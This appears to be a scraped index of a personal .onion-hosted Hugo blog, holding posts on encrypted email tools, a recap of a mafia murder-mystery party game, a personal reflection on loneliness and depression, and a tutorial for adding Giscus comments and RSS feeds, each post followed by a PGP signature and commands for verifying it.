control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.\nHonestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.\nA note on what E2EE hides (and what it doesn’t) End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.\nQuick price \u0026amp; fit-at-a-glance Option Best fit Personal price vibe Notes Proton Mail Everyday private email + easy messages to anyone Free; personal paid tiers in single‑digit €/mo; business per‑user Password‑protected emails to non‑Proton; PGP support Tuta Privacy‑max email; encrypted subjects in‑ecosystem Free; personal low €/mo; business per‑user Password‑protected emails to non‑Tuta; open source Gmail CSE Orgs on Google Workspace Included with Enterprise Plus/Education/Frontline editions Admin setup + external‑recipient flow S/MIME (Outlook/Apple Mail) Enterprises with IT/MDM Software built‑in; cert costs vary Smooth inside one org; cert exchange needed across orgs Thunderbird OpenPGP Provider‑agnostic power users Free Can encrypt subjects via protected headers Mailvelope / FlowCrypt Must stay on webmail Free / paid enterprise options PGP in the browser; good stepping stone The 60‑second starter packs Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.\nThunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.\nShower thoughts So, why did I mention any of this? Aside from the fact that I do believe e2ee email should become defacto, and I don\u0026rsquo;t know why it isn\u0026rsquo;t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.\nA while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. The thing is, people might not use them because they don\u0026rsquo;t trust them.\nThe question I had was different. Assuming that the service is reliable, why can\u0026rsquo;t we use it and protect ourselves while doing so?\nIn hindsight this seems stupid. But listen to me. If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly \u0026ldquo;untrusted\u0026rdquo; medium, why wouldn\u0026rsquo;t you be able to use it? The only, and oh well, biggest problem is key exchange. Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it\u0026rsquo;s a way. And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. Like via a quick short call. They can also be faked, but let\u0026rsquo;s not go that extreme. Also if many do it, it\u0026rsquo;s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.\nIdk how stupid the thing I\u0026rsquo;m suggesting is, but I wonder if it can be done or not. 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The Falcones, and the Moretti family.\nGold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!\nFamily Trees %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph falcone[\"Falcone — current generation\"] direction TB Salvatore[\"Salvatore Falconedead boss\"] Serena[\"Serenawidow (bosswife)\"] Salvatore -- Married --\u003e Serena %% row: siblings subgraph falcone_row1[ ] direction LR Sophia[\"Sophiaunderboss\"] Massimo[\"Massimolawyer\"] Fabiola[\"Fabiolafinancialadvisor\"] Aurora[\"Auroraassociate\"] end %% row: next generation subgraph falcone_row2[ ] direction LR Lorenzo[\"Lorenzofixer(Sophia's son)\"] Michelangelo[\"Michelangeloenforcer(Massimo's son)\"] Antonio[\"Antoniohitman\"] end Sophia --\u003e Lorenzo Massimo --\u003e Michelangelo Fabiola -- Married --\u003e Antonio end %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph moretti[\"Moretti family\"] direction TB Benito[\"Benitoboss\"] Nicoletta[\"Nicolettabosswife\"] Claudia[\"Claudiaex wife\"] Benito -- Married --\u003e Nicoletta Benito -- Divorced --\u003e Claudia %% row: children subgraph moretti_row1[ ] direction LR Sergio[\"Sergiounderboss\"] Lucia[\"Luciaassociate\"] end Benito --\u003e|son| Sergio Nicoletta --\u003e|son| Sergio Benito --\u003e|daughter| Lucia Claudia --\u003e|daughter| Lucia %% row: Lucia's crew subgraph moretti_row2[ ] direction LR Violetta[\"Violettafixer\"] Santo[\"Santoenforcer\"] end Lucia --\u003e Violetta Lucia --\u003e Santo end Enrico[\"Enricofinantial advisor\"] Benito ---|younger brother| Enrico Who’s Who (quick dossiers) Falcone notes Salvatore Falcone (†) — Former Don, killed under mysterious circumstances. Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. Massimo — Younger brother; justice-minded, hardened by his wife’s death. Aurora — Youngest; underestimated as naive or harmless, but observant. Fabiola — Ambitious financial brain; growth-focused, clashes with tradition. Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder. Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable. Moretti notes Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. Nicoletta — Benito’s wife; once a prostitute, now regal and cunning. Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game. Enrico — Benito’s younger brother; accountant; clever, restless for influence. Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. Santo — Lucia’s son; bold, admired and doubted in equal measure. Aside from these characters, there were two additional characters. Falcon\u0026rsquo;s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!\nWorld sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.\nAfter the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. All I knew was that on the night of the murder, I was not in Falcon\u0026rsquo;s house, and that I was out in a casino with Aurora.\nI didn\u0026rsquo;t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO\nSo, without further of do, let\u0026rsquo;s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD\nAct I, the dinner We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. Or that\u0026rsquo;s what was written in our invitations.\nThe Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.\nThe clash was instant as they though we were disrespectful to wear such cloths. As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.\nShe said, \u0026ldquo;I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.\u0026rdquo;\nThe Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! They said Why would they take it so far to accuse them of accusing us of murder.\nVioletta, our family’s ice-cold fixer, replied, \u0026ldquo;it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention\u0026rdquo;.\nThey went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.\nWhile the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won\u0026rsquo;t name here out of privacy). Thank you again for such an amazing event!\nAct II, the invitations Sophia looked at us with her death smile and said, \u0026ldquo;I was involved with 9 invitations, the ones to our family, and nothing more.\u0026rdquo;\nThe room went into a deep silence. What did she mean? Who made Moretti\u0026rsquo;s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti\u0026rsquo;s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?\nThe occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.\nVioletta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger\u0026hellip;\nAct III, the evidence Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.\nThere were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore\u0026rsquo;s body from the other side. The third picture was of Salvatore\u0026rsquo;s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.\nMassimo got up from his sit, pointing to an article about her wife\u0026rsquo;s death. He stated how this was similar to her death, and how she died \u0026ldquo;The Moretti way\u0026rdquo;. \u0026ldquo;She was shot and pushed down the stairs. What other evidence do you need?\u0026rdquo; said Massimo.\nBenito replied calmly, \u0026ldquo;But Salvatore didn\u0026rsquo;t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.\u0026rdquo;. \u0026ldquo;Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.\u0026rdquo;, said Sergio with a collected tone.\nMassimo wasn\u0026rsquo;t convinced, but he knew they were right. He just could not forgive her wife\u0026rsquo;s death.\nThe room went into silence again.\nVioletta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola\u0026rsquo;s accounting showing F\u0026amp;E laundering money for Salvatore. No one knew what F\u0026amp;E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore\u0026rsquo;s level, using the Falcones\u0026rsquo; casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.\nIn the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: \u0026ldquo;Be careful\u0026rdquo;.\nSerena pointed to Antonio, and he took out a piece of paper of the family\u0026rsquo;s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti\u0026rsquo;s have with the youngest of the Falcones?\nLorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio\u0026rsquo;s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones\u0026rsquo; that night, and that he was in a casino with Aurora; no further explanation was provided by him.\nAurora didn\u0026rsquo;t budge either.\nSergio changed the subject swiftly. He pointed to the gun used for the murder and said, \u0026ldquo;Doesn\u0026rsquo;t that look like Santo\u0026rsquo;s gun? Where were you that night, Santos?\u0026rdquo;. \u0026ldquo;I was at home, with my mother\u0026rdquo;, Santos replied, and Lucia nodded.\nIt felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.\nAct IV, the confessions The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard \u0026ldquo;there was another heir to Salvatore\u0026rsquo;s fortune\u0026rdquo;, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.\nThe prostitute continued, \u0026ldquo;Benito ordered to kill her mistress before the child was born, but he didn\u0026rsquo;t manage\u0026rdquo;. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.\nClaudia wasn\u0026rsquo;t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?\nThe prostitute then continued. \u0026ldquo;Sergio is not Benito\u0026rsquo;s son\u0026rdquo;. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito\u0026rsquo;s son. Benito smiled. \u0026ldquo;Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.\u0026rdquo;\nSergio did not smile, or any changes in his face. He was ice-cold.\nIt was still not clear who plotted to kill Salvatore. Everyone was confused.\nIt was time for deduction.\nAct V, the killer(s) After a long discussion between all the family members, these were the conclusions.\nIt was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti\u0026rsquo;s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.\nInitially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.\nIf everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family\u0026rsquo;s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?\nLorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like \u0026ldquo;The Moretti\u0026rdquo; way. Then Lorenzo gets to Antonio, and Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore\u0026rsquo;s money, as with all ties broken, no one would suspect he was Salvatore\u0026rsquo;s son. Nicoletta would also not talk, as she would lose everything if she confessed.\nAlthough all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn\u0026rsquo;t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti\u0026rsquo;s side.\nIt was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?\nSophia was just disappointed with all of this. She didn\u0026rsquo;t budge.\nThe epilogue Most people weren\u0026rsquo;t sharing what they knew not to become sus! I didn\u0026rsquo;t talk to everyone, but for example, the person who played Santo\u0026rsquo;s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I\u0026rsquo;m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren\u0026rsquo;t presenting everything they knew.\nOverall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm\u0026#43; bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p zr6zHOniJ1aCSju8WS28cUMjNz\u0026#43;xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj 3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x 4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN\u0026#43;q2hB6Bu1tndVPH qIrSt7ykMhhDYz6A6MzXkwIKG\u0026#43;lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ nh4a\u0026#43;E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o\u0026#43;Ymxp Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= =3iUy -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc gpg --verify murder_mystery_night.md.asc murder_mystery_night.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/","summary":"Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.","title":"La Plaza: The Falcones \u0026 the Morettis"},{"content":"Honestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away. Just like a piece of trash. It\u0026rsquo;s been hurting more and more. I\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care. That I\u0026rsquo;ve moved on.\nI\u0026rsquo;ve been seeking validation ever since. The validation that was lacking during that encounter. The feeling of not being good enough.\nIt\u0026rsquo;s enough grieving though. But is it? I tell myself I have moved on. I\u0026rsquo;m not chasing. I\u0026rsquo;m really not.\nI do know that this was indeed the best that could\u0026rsquo;ve happened for me. I just dodged a bullet. But still, there is a part of me that hurts, that grieves. A part that doesn\u0026rsquo;t want to move on. I told myself that I will meet new people, and forget. But then aren\u0026rsquo;t I changing the problem?\nThe problem isn\u0026rsquo;t what is on the surface. It\u0026rsquo;s something deeper. The fact that I feel lonely, scared, anxious. My anxious attachment, combined with overthinking, hurts me. I have to analyse and see the worse in every encounter.\nLike if I tell a group of friends that I won\u0026rsquo;t go with them a few times, I will be removed from the group. That if everyone is busy, they have planned something together and I\u0026rsquo;m not invited. That if someone doesn\u0026rsquo;t reply to me, they hate me. Or that if someone passes me and doesn\u0026rsquo;t look at me or say a word, they don\u0026rsquo;t want to see me, or don\u0026rsquo;t want me around them.\nI don\u0026rsquo;t know how to stop these. I started to do more home office for this very reason, but I wasn\u0026rsquo;t that productive. I think my time, and life, is going to waste, and I don\u0026rsquo;t know how to stop it. It\u0026rsquo;s getting annoying.\nTaking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I\u0026rsquo;m far along I feel the extra stress I was neglecting. Things just don\u0026rsquo;t feel right. I think I\u0026rsquo;m becoming depressed again.\nThose message passings, though they meant nothing, were extremely helpful for me not to feel lonely. I know if I initiate, I get responses back. Well, maybe not. Maybe my expiration date has passed. But then I would be chasing bread crumbs again. Those crumbs won\u0026rsquo;t let me find a true good quality loaf of bread! They keep me distracted, and make me exhausted. But they also mentally help me.\nMaybe I should go for coffee at different times just not to meet this person. I don\u0026rsquo;t know. I just know I\u0026rsquo;m hurting from within, and it\u0026rsquo;s not nice. It\u0026rsquo;s like internal bleeding. It\u0026rsquo;s as painful as it gets. It\u0026rsquo;s as hurtful as it gets.\nI know getting a pet could help me a lot at this point. All of the things I want I can get from a pet. Petting the pet, and caring for it are exactly what makes me feel good. But then I don\u0026rsquo;t want the responsibility.\nLike with a human things feel less stressful, but with a pet it\u0026rsquo;s scary. I\u0026rsquo;m more of a father to the pet. Uh\u0026hellip; I can\u0026rsquo;t even have a pet because of my house rules.\nI don\u0026rsquo;t know what to do. What I know is that I\u0026rsquo;m mentally hurting, and I don\u0026rsquo;t know what to do. I really don\u0026rsquo;t. I need help. A lot of help. A lot lot of help. But I can\u0026rsquo;t ask my friends. I just can\u0026rsquo;t. They have their own problems. They think I\u0026rsquo;m weak. They will tell me to man up. Or they just show empathy. But I don\u0026rsquo;t need empathy. I need a solution. I need to be told what to do. I need help. Help.\n\u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip;\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN\u0026#43;0a9 XkVgKH2Ax8n7h\u0026#43;uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y 4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U\u0026#43;VbIflsJG2id\u0026#43;g1W3Z7ch6 sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY\u0026#43;b\u0026#43;rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch SD4vGu8SaxWVhWPprrBX6OsC\u0026#43;qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO K5qILAk8qvmEdDLIFxfYrpOA9qj\u0026#43;aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6\u0026#43;okpky12 VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= =VEwz -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md.asc gpg --verify sadness.md.asc sadness.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/","summary":"\u003cp\u003eHonestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t.\nI think for me this is a scape from reality.\nA scape from the sad thing that happened earlier this month.\nA scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away.\nJust like a piece of trash.\nIt\u0026rsquo;s been hurting more and more.\nI\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care.\nThat I\u0026rsquo;ve moved on.\u003c/p\u003e","title":"Sadness"},{"content":" Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\nI\u0026rsquo;ve been wanting to add comment section to my blog for a while. There are a few problems.\nI don\u0026rsquo;t want to get attacked by bots or random people for no reason. I don\u0026rsquo;t want to allow weird things to happen. I don\u0026rsquo;t want to have a database for it. So\u0026hellip; I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github:\nWhat the app can do The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.\nWhat “Act on your behalf” means That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.\nDo commenters have alternatives? Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.\nPrivacy \u0026amp; storage No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.\nWith the notice out of the way let\u0026rsquo;s dive right in!\nWhy I chose Giscus (instead of Disqus) No ads or trackers (my page weight thanks me). Uses GitHub Discussions (portable, transparent, easy to search). Readers log in with GitHub (no mystery auth popups). In theory you can directly go to the repo\u0026rsquo;s discussion section and comment there! What you need (for your site, not per user) A Hugo site using PaperMod ✅ A GitHub account ✅ A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅ Giscus app installed on that repo ✅ If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.\n1) Turn on comments with Giscus PaperMod renders a comments.html partial when params.comments = true.\nSo we enable it in config and create the partial.\n1.1 Enable comments globally hugo.toml (snippet)\n[params] comments = true You can still opt out per post with comments = false in front matter.\n1.2 Create the comments partial Create this file in your site (not inside the theme):\nlayouts/partials/comments.html Paste the Giscus embed (swap the placeholders with yours from giscus.app):\n\u0026lt;section id=\u0026#34;comments\u0026#34; class=\u0026#34;giscus\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://giscus.app/client.js\u0026#34; data-repo=\u0026#34;yourname/blog-comments\u0026#34; data-repo-id=\u0026#34;YOUR_REPO_ID\u0026#34; data-category=\u0026#34;Comments\u0026#34; data-category-id=\u0026#34;YOUR_CATEGORY_ID\u0026#34; \u0026lt;!-- Get them from Giscus\u0026#39;s page! --\u0026gt; data-mapping=\u0026#34;pathname\u0026#34; data-strict=\u0026#34;0\u0026#34; data-reactions-enabled=\u0026#34;1\u0026#34; data-emit-metadata=\u0026#34;0\u0026#34; data-input-position=\u0026#34;bottom\u0026#34; data-theme=\u0026#34;preferred_color_scheme\u0026#34; data-lang=\u0026#34;en\u0026#34; data-loading=\u0026#34;lazy\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;noscript\u0026gt;Enable JavaScript to view comments powered by Giscus.\u0026lt;/noscript\u0026gt; \u0026lt;/section\u0026gt; Notes\nYou’ll get repo-id and category-id from giscus.app after picking your repo + category. data-mapping=\u0026quot;pathname\u0026quot; works great for static sites. Prefer a public repo so visitors can read discussions without friction. Want a different language? Change data-lang (e.g., de, fr). 2) Enable RSS (home + sections) Hugo already knows how to generate feeds; we just tell it where.\nhugo.toml\nbaseURL = \u0026#34;https://example.com/\u0026#34; # set your production URL [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] # JSON is optional (e.g., for on-site search) section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 # -1 = no cap; or set e.g. 20 Feed URLs\nHome feed: /index.xml → https://example.com/index.xml Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase) If you’re using a .onion address or staging domain, just set that in baseURL.\nLocally, Hugo serves feeds at http://localhost:1313/index.xml.\n3) Show an RSS button on the home page PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:\nOption A — Use the home “social icons” row This appears if you enable Home-Info or Profile mode:\n[params.homeInfoParams] Title = \u0026#34;Hello, internet!\u0026#34; Content = \u0026#34;Notes, experiments, and occasional rabbit holes.\u0026#34; [[params.socialIcons]] name = \u0026#34;rss\u0026#34; # lowercase matters url = \u0026#34;/index.xml\u0026#34; Option B — Add an icon in the footer (theme-safe) Create:\nlayouts/partials/extend_footer.html Paste:\n\u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34;\u0026gt; {{ partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) }} \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; Make it a sensible size:\nCreate:\nassets/css/extended/rss.css Paste:\n/* Small \u0026amp; aligned RSS icon in the footer */ .rss-link { display: inline-flex; align-items: center; gap: .35rem; } .rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ .rss-link span { font-size: .95rem; } PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.\n4) Verify everything Build or run dev:\nhugo # outputs to ./public # or hugo server # serves at http://localhost:1313 Check feeds:\n# Home feed: curl -s http://localhost:1313/index.xml | head # A section feed (adjust path to your section name): curl -s http://localhost:1313/posts/index.xml | head Check comments:\nOpen any post locally. Scroll to the bottom — Giscus should appear. Try a reaction or comment (you’ll be prompted to sign in with GitHub). 5) Per-post controls (handy later) Turn comments off for a single post:\n# in that post’s front matter comments = false Full content in RSS (global):\n[params] ShowFullTextinRSS = true Show RSS buttons on section/taxonomy lists:\n[params] ShowRssButtonInSectionTermList = true 6) Troubleshooting (aka “what I bumped into”) Home page has no RSS icon\nThat’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.\nSection feed 404\nFolder names are lowercase (content/posts/, not content/Posts/).\nThe URL mirrors that: /posts/index.xml.\nGiscus doesn’t create a discussion\nDouble-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.\nMake sure Discussions is enabled 